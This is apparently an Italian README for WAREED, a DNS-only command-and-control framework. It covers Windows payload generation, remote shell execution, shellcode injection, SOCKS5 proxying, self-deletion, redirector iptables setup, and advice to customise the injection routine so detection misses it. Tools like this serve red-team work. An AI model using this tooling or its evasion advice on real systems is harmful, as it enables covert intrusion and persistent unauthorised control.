
Framework di comando e controllo basato esclusivamente su DNS con agente Windows, generazione di payload, esecuzione di shell remota, iniezione di shellcode e supporto proxy SOCKS5 per operazioni clandestine.

WAREED è un Command and Control (C2) che utilizza il protocollo DNS per comunicazioni sicure tra il server e il target. Progettato per ridurre al minimo le comunicazioni e limitare lo scambio di dati, è pensato per essere un C2 di primo stadio per persistere su macchine che non hanno accesso a internet via HTTP/HTTPS, ma dove il DNS è consentito.
sviluppato da : @Fsalabduljabbar

Mentre molti framework Command and Control (C2) supportano il DNS come protocollo di trasporto, sono prevalentemente progettati per HTTP/HTTPS. Adattare questi framework al DNS spesso comporta operazioni più lente e meno stabili. Avendo affrontato numerose sfide legate all'instabilità di questi framework per le transazioni DNS, sono stato costretto a creare una soluzione specificamente su misura per il DNS. Il risultato è Wareed: un framework C2 esclusivamente DNS. Questa specializzazione produce un funzionamento più stabile ed efficiente, rendendo Wareed più veloce e affidabile rispetto ai framework C2 tradizionali che non sono progettati principalmente per il DNS. Questo rende Wareed una scelta ideale per ambienti in cui il traffico DNS è consentito ma HTTP/HTTPS è limitato.
È stato sviluppato utilizzando tre linguaggi di programmazione:
Spiegazione dei nomi:
Hams (همس) significa "sussurro" in arabo
Wareed (وريد) significa "vena" in arabo
Ather (أثر) significa "traccia" in arabo
Passo 1: Clona il repository Wareed:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Passo 2: Esegui lo script di setup:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Se il processo di compilazione viene completato correttamente, verranno generati due file eseguibili nella stessa directory:
Inoltre, verificherà lo stato di compilazione dell'Agent. Se ha successo, conferma che l'Agent è pronto per essere distribuito e operativo, il che è fondamentale per il funzionamento del C2 Wareed.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: la lunghezza deve essere uguale a 3.
Configurazione DNS: Per far funzionare Wareed, è essenziale possedere un nome di dominio valido. Dopo aver acquisito un dominio, è necessario configurare due record DNS che puntino al Redirector:

Configurazione del Redirector:
il redirector gestirà il traffico DNS in ingresso sulla porta 53 e lo reindirizzerà al team server. Per ottenere questo risultato, esegui i seguenti comandi iptables sulla macchina redirector (R1):
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Questo comando configura il firewall per accettare pacchetti UDP in ingresso sulla porta 53, che è la porta standard per le richieste DNS.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Sostituisci [TeamServer IP] con l'indirizzo IP effettivo del tuo team server e [teamserver listener port] con il numero di porta su cui il tuo team server è in ascolto. Questo comando dirige tutto il traffico in arrivo sulla porta 53 all'indirizzo IP e alla porta specificati del team server.

Per avviare il team server Wareed per la prima volta, devi specificare il file di configurazione insieme alla password del client e alla porta su cui il client ascolterà. Usa il seguente comando per eseguire il team server Wareed:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Per avviare il client GUI Ather, semplicemente:
./Ather
All'esecuzione del comando, apparirà una nuova finestra con una pagina di login.

Dettagli di accesso: nella pagina di login che appare:
Finestra principale di Wareed:

Per generare un nuovo payload con il client GUI Ather, segui questi passaggi:
Vai alla generazione del payload:
Payload > Generate > Windows. Selezionando questa opzione si aprirà una nuova finestra dedicata alla generazione del payload.
Dopo aver generato un nuovo payload, una nuova sessione ospite viene automaticamente registrata presso il team server. Questo processo di registrazione garantisce che solo questa specifica sessione possa connettersi al team server. Utilizza un identificatore univoco e un "magic value" per autenticare e autorizzare la sessione. Questo meccanismo assicura una comunicazione sicura e controllata tra il payload appena generato e il team server.

Dopo aver eseguito il payload su una macchina Windows, inizierà a generare query DNS per registrarsi presso il team server. Questo processo di registrazione avviene in pochi secondi e in genere comporta la generazione di 3-5 query DNS.

Per interagire con una sessione, fai clic con il tasto destro sulla sessione desiderata e seleziona "Interact" dal menu contestuale. Questa azione aprirà una nuova scheda con un'interfaccia a terminale. In questo terminale puoi eseguire i comandi

Nota: il comando
injectè semplice ma spesso viene rilevato dai controlli di sicurezza. Per aumentare la furtività, dovresti implementare la tua tecnica di iniezione. Modifica il codice di iniezione inAgent/Source/Core/Tasks/Modules/Injection.c. Ecco un modello di base per personalizzare la funzione di iniezione:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Aggiungi qui la tua tecnica di iniezione.
// Riceverai lo shellcode in [unsigned char *ShellCode] e la dimensione dello shellcode in [nt size]
// e l'ID del processo in [int ProcessID].
}
Per pulire il database, esegui semplicemente il seguente comando nel tuo terminale:
./Run clean
Anche se non ho piani immediati per continuare a investire tempo nel progetto Wareed, è stato un incredibile percorso di apprendimento e mi sono divertito molto. Sono entusiasta di annunciare che sto pianificando di lanciare un nuovo importante progetto, THAWD BAS. Per maggiori informazioni, visita Thawd.io.
Se hai competenze di sviluppo e sei interessato a contribuire a Wareed, ecco un paio di opportunità:
Questo lavoro non sarebbe stato possibile senza il contributo di diversi eccezionali progetti open-source:
DNSStager di - @mohammadaskar2
Boomerang di - @NinjaParanoid
| Command | Description | Usage | Example |
|---|
| help | Mostra il messaggio di aiuto del comando specificato | [command] | help shell |
| sleep | Imposta il ritardo di sleep con jitter | [delay] [jitter] | sleep 10 50 |
| shell | Esegue i comandi di cmd.exe e restituisce l'output | [commands] | shell dir c:\windows\system32 (per favore, non farlo) |
| inject | Inietta shellcode in un processo remoto | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | Avvia un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | Ferma un proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | Aggiunge un nuovo dominio di callback | [domain_name] | adddomain example.com |
| deldomain | Elimina un dominio di callback | [domain_name] | deldomain example.com |
| listdomain | Elenca tutti i domini di callback attivi | listdomain | |
| kill | Termina il processo corrente. | [yes] | kill yes |
| wipe | Termina ed elimina il processo corrente. | [yes] | wipe yes |
| selfdel | Elimina il processo corrente dal disco. | [yes] | selfdel yes |
| tasklist | Elenca tutte le attività in coda | tasklist | |
| taskdel | Elimina un'attività specifica tramite ID | [task id] | taskdel 123 |
| tasksclean | Elimina tutte le attività in coda | [yes] | tasksclean yes |
| clear | Pulisce lo schermo del terminale | clear |